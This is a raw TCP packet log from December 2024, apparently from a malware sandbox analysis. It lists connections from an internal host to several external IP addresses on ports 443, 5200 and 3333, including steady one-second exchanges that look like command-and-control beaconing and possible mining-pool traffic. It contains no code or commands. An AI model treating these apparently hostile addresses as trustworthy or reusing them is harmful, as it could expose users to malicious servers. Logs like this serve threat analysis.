Dec 9, 2024 07:37:34.804470062 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.804486036 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.804544926 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.804553986 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.804594040 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.810295105 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.810314894 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.810353041 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.810367107 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.810389996 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.810409069 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.859491110 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:34.895536900 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.895554066 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.895595074 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.895612001 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.895637035 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.895658970 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.901061058 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.901076078 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.901127100 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.901139975 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.901175976 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.912178993 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:34.994400024 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.994415045 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.994481087 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.994502068 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.994554996 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.999851942 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.999892950 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.999912024 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.999922037 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.999958992 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:35.005484104 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.005500078 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.005549908 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:35.005563974 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.005598068 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:35.011501074 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.011517048 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.011580944 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:35.011594057 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.011631012 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:35.016978025 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.016993999 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.017043114 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:35.017054081 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.017087936 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:35.017107010 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:35.022732019 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.022746086 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.022924900 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:35.022937059 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.022980928 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:35.087970972 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.087990999 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.088105917 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:35.088118076 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.088165998 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:35.093122959 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.093138933 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.093214035 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:35.093221903 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.093265057 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:35.186589003 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.186606884 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.186702967 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:35.186717033 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.186758995 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:35.192169905 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.192184925 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.192246914 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:35.192255020 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.192296028 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:35.197432041 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.197448015 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.197527885 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:35.197535038 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.197583914 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:35.203474998 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.203490973 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.203567028 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:35.203574896 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.203613997 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:35.205115080 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.205178022 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.205178976 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:35.205223083 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:35.205332041 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:35.205344915 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.205355883 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:35.205360889 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:35.288353920 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:35.291269064 CET	49741	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:35.334858894 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:35.410599947 CET	5200	49741	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:35.410665035 CET	49741	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:35.410820007 CET	49741	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:35.530164957 CET	5200	49741	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:35.992120981 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:36.037971020 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:36.612705946 CET	49742	3333	192.168.2.4	37.203.243.102
Dec 9, 2024 07:37:36.732007027 CET	3333	49742	37.203.243.102	192.168.2.4
Dec 9, 2024 07:37:36.734818935 CET	49742	3333	192.168.2.4	37.203.243.102
Dec 9, 2024 07:37:36.735104084 CET	49742	3333	192.168.2.4	37.203.243.102
Dec 9, 2024 07:37:36.854717016 CET	3333	49742	37.203.243.102	192.168.2.4
Dec 9, 2024 07:37:37.000585079 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:37.052778006 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:37.263396978 CET	5200	49741	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:37.276014090 CET	49741	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:37.395323038 CET	5200	49741	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:37.765923977 CET	49743	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:37.765959024 CET	443	49743	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:37.766016006 CET	49743	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:37.781898975 CET	49743	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:37.781912088 CET	443	49743	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:37.972923994 CET	5200	49741	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:37.973434925 CET	49744	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:38.014493942 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:38.022342920 CET	49741	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:38.067420959 CET	3333	49742	37.203.243.102	192.168.2.4
Dec 9, 2024 07:37:38.067471981 CET	3333	49742	37.203.243.102	192.168.2.4
Dec 9, 2024 07:37:38.067512035 CET	49742	3333	192.168.2.4	37.203.243.102
Dec 9, 2024 07:37:38.069214106 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:38.092715979 CET	5200	49744	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:38.092782974 CET	49744	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:38.092972994 CET	49744	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:38.212167025 CET	5200	49744	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:39.016165972 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:39.069394112 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:39.981620073 CET	5200	49744	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:39.981787920 CET	49744	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:40.029051065 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:40.069766998 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:40.101197958 CET	5200	49744	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:40.705007076 CET	5200	49744	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:40.705406904 CET	49745	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:40.756738901 CET	49744	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:40.824743986 CET	5200	49745	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:40.824892044 CET	49745	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:40.827923059 CET	49745	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:40.947174072 CET	5200	49745	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:41.042830944 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:41.084867954 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:42.048832893 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:42.100469112 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:42.677351952 CET	5200	49745	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:42.677542925 CET	49745	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:42.797506094 CET	5200	49745	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:43.059019089 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:43.100524902 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:43.376009941 CET	5200	49745	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:43.376410961 CET	49746	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:43.428608894 CET	49745	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:43.495728970 CET	5200	49746	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:43.495923042 CET	49746	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:43.495961905 CET	49746	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:43.615292072 CET	5200	49746	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:44.065792084 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:44.116188049 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:45.073162079 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:45.116173983 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:45.349483013 CET	5200	49746	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:45.349803925 CET	49746	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:45.469083071 CET	5200	49746	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:46.071067095 CET	5200	49746	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:46.071481943 CET	49747	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:46.081002951 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:46.116115093 CET	49746	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:46.131704092 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:46.190963984 CET	5200	49747	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:46.191076040 CET	49747	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:46.191236019 CET	49747	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:46.310461044 CET	5200	49747	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:47.093163967 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:47.147463083 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:48.063740969 CET	5200	49747	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:48.064011097 CET	49747	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:48.106477976 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:48.147433996 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:48.183306932 CET	5200	49747	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:48.760601044 CET	5200	49747	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:48.803643942 CET	49747	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:49.125878096 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:49.178580046 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:50.134555101 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:50.178587914 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:51.155796051 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:51.209832907 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:52.165818930 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:52.209837914 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:53.171319008 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:53.225454092 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:54.177814007 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:54.225465059 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:55.179706097 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:55.225461006 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:56.194221020 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:56.241103888 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:57.206455946 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:57.256793976 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:58.211992979 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:58.256685972 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:59.216969013 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:59.256686926 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:00.225450993 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:00.272355080 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:01.237035036 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:01.287949085 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:02.247106075 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:02.287950039 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:03.274020910 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:03.319212914 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:04.268533945 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:04.319195986 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:05.278851032 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:05.319200039 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:05.335051060 CET	49740	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:05.337716103 CET	49764	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:05.337758064 CET	443	49764	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:05.337835073 CET	49764	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:05.338721991 CET	49764	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:05.338731050 CET	443	49764	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:06.282062054 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:06.334820032 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:07.306531906 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:07.351022005 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:08.321821928 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:08.366058111 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:09.302762032 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:09.350483894 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:10.300522089 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:10.350496054 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:11.307611942 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:11.350447893 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:12.307346106 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:12.350430965 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:13.331429005 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:13.381683111 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:14.316684008 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:14.366122961 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:15.330171108 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:15.381731987 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:16.349347115 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:16.397310972 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:17.358184099 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:17.412942886 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:18.361211061 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:18.412945032 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:19.377624989 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:19.428564072 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:20.389328003 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:20.444176912 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:21.392483950 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:21.444175959 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:21.855694056 CET	443	49743	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:21.855770111 CET	49743	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:21.876833916 CET	49743	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:21.876842976 CET	443	49743	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:21.976658106 CET	49742	3333	192.168.2.4	37.203.243.102
Dec 9, 2024 07:38:21.976680994 CET	49742	3333	192.168.2.4	37.203.243.102
Dec 9, 2024 07:38:22.411366940 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:22.459844112 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:23.408072948 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:23.459939003 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:24.413147926 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:24.460422039 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:25.425757885 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:25.475420952 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:26.439805031 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:26.491081953 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:27.102786064 CET	49816	3333	192.168.2.4	5.188.137.200
Dec 9, 2024 07:38:27.222136021 CET	3333	49816	5.188.137.200	192.168.2.4
Dec 9, 2024 07:38:27.222206116 CET	49816	3333	192.168.2.4	5.188.137.200
Dec 9, 2024 07:38:27.222549915 CET	49816	3333	192.168.2.4	5.188.137.200
Dec 9, 2024 07:38:27.341809988 CET	3333	49816	5.188.137.200	192.168.2.4
Dec 9, 2024 07:38:27.449243069 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:27.491061926 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:28.457458973 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:28.506824017 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:28.552875042 CET	3333	49816	5.188.137.200	192.168.2.4
Dec 9, 2024 07:38:28.552941084 CET	3333	49816	5.188.137.200	192.168.2.4
Dec 9, 2024 07:38:28.552979946 CET	49816	3333	192.168.2.4	5.188.137.200
Dec 9, 2024 07:38:28.554147005 CET	49816	3333	192.168.2.4	5.188.137.200
Dec 9, 2024 07:38:28.673477888 CET	3333	49816	5.188.137.200	192.168.2.4
Dec 9, 2024 07:38:28.984510899 CET	3333	49816	5.188.137.200	192.168.2.4
Dec 9, 2024 07:38:29.037945032 CET	49816	3333	192.168.2.4	5.188.137.200
Dec 9, 2024 07:38:29.220036983 CET	3333	49816	5.188.137.200	192.168.2.4
Dec 9, 2024 07:38:29.272392035 CET	49816	3333	192.168.2.4	5.188.137.200
Dec 9, 2024 07:38:29.462943077 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:29.506716013 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:29.876590967 CET	443	49764	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:29.876619101 CET	443	49764	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:29.876691103 CET	49764	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:29.876722097 CET	443	49764	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:29.919960022 CET	49764	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:29.919975042 CET	443	49764	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:29.971940041 CET	3333	49816	5.188.137.200	192.168.2.4
Dec 9, 2024 07:38:30.022337914 CET	49816	3333	192.168.2.4	5.188.137.200
Dec 9, 2024 07:38:30.367995977 CET	443	49764	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:30.384063005 CET	49764	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:30.384090900 CET	443	49764	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:30.384218931 CET	49764	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:30.384223938 CET	443	49764	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:30.384342909 CET	49764	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:30.384346962 CET	443	49764	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:30.384409904 CET	49764	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:30.384413958 CET	443	49764	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:30.466079950 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:30.506675959 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:30.976692915 CET	443	49764	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:31.022299051 CET	49764	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:31.163228035 CET	49764	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:31.163234949 CET	443	49764	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:31.163292885 CET	49764	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:31.163297892 CET	443	49764	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:31.163336992 CET	49764	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:31.163341999 CET	443	49764	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:31.163383961 CET	49764	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:31.163388014 CET	443	49764	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:31.469930887 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:31.522281885 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:31.753788948 CET	443	49764	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:31.803548098 CET	49764	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:31.848655939 CET	49764	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:31.848665953 CET	443	49764	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:31.848805904 CET	49764	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:31.848810911 CET	443	49764	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:31.848911047 CET	49764	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:31.848916054 CET	443	49764	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:31.849005938 CET	49764	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:31.849009991 CET	443	49764	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:32.443377972 CET	443	49764	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:32.477477074 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:32.491038084 CET	49764	443	192.168.2.4	154.216.20.243
